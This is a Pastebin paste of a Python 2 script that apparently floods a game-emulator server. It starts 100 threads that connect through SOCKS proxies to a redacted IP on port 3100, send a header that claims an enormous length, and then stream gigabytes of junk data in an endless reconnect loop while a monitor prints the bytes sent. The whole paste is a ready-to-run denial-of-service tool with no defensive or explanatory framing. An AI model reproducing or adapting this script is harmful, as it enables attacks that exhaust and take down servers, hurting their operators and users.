Guest User

Emulator leakerrrr

a guest
May 23rd, 2016
87
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.89 KB | None | 0 0
  1. import socks
  2. import threading
  3. import sys
  4. import time
  5. import humanize
  6. import datetime
  7.  
  8. running = True
  9. total_sent_bytes = 0
  10. packet_data = ""
  11. while len(packet_data) < 8000000:
  12.     packet_data += "fuckyou!"
  13.  
  14. packet = bytearray(packet_data)
  15. packet_length = len(packet)
  16.  
  17. print "Packet length is %s" % packet_length
  18.  
  19.  
  20. class Attacker(threading.Thread):
  21.  
  22.     def __init__(self, thread_name):
  23.         threading.Thread.__init__(self)
  24.         self.thread_name = thread_name
  25.  
  26.     def run(self):
  27.         while True:
  28.             try:
  29.                 global total_sent_bytes
  30.  
  31.                 s = socks.socksocket()
  32.                 s.settimeout(5)
  33.                 s.connect(("xxx.xxx.xxx.xxx", 3100))
  34.                 s.send(bytearray([127, 255, 255, 255, 15, 160]))
  35.  
  36.                 sent_bytes = 0
  37.  
  38.                 s.settimeout(30)
  39.                 while sent_bytes < 2147000000:
  40.                     s.send(packet)
  41.                     sent_bytes += packet_length
  42.                     total_sent_bytes += packet_length
  43.             except Exception:
  44.                 time.sleep(10)
  45.  
  46.  
  47. class Monitor(threading.Thread):
  48.  
  49.     def __init__(self):
  50.         threading.Thread.__init__(self)
  51.  
  52.     def run(self):
  53.         global total_sent_bytes
  54.         global running
  55.  
  56.         previous_sent_bytes = 0
  57.  
  58.         while running:
  59.             if total_sent_bytes != previous_sent_bytes:
  60.                 now = datetime.datetime.now()
  61.  
  62.                 sys.stdout.write("%02d:%02d:%02d - Sent %s\n" % (now.hour, now.minute, now.second, humanize.naturalsize(total_sent_bytes)))
  63.                 previous_sent_bytes = total_sent_bytes
  64.             time.sleep(1)
  65.  
  66. threads = []
  67. for num in range(0, 100):
  68.     thread = Attacker('Thread-%s' % num)
  69.     thread.daemon = True
  70.     thread.start()
  71.     threads.append(thread)
  72.  
  73. monitor_thread = Monitor()
  74. monitor_thread.start()
  75.  
  76. for thread in threads:
  77.     thread.join()
Advertisement
Add Comment
Please, Sign In to add comment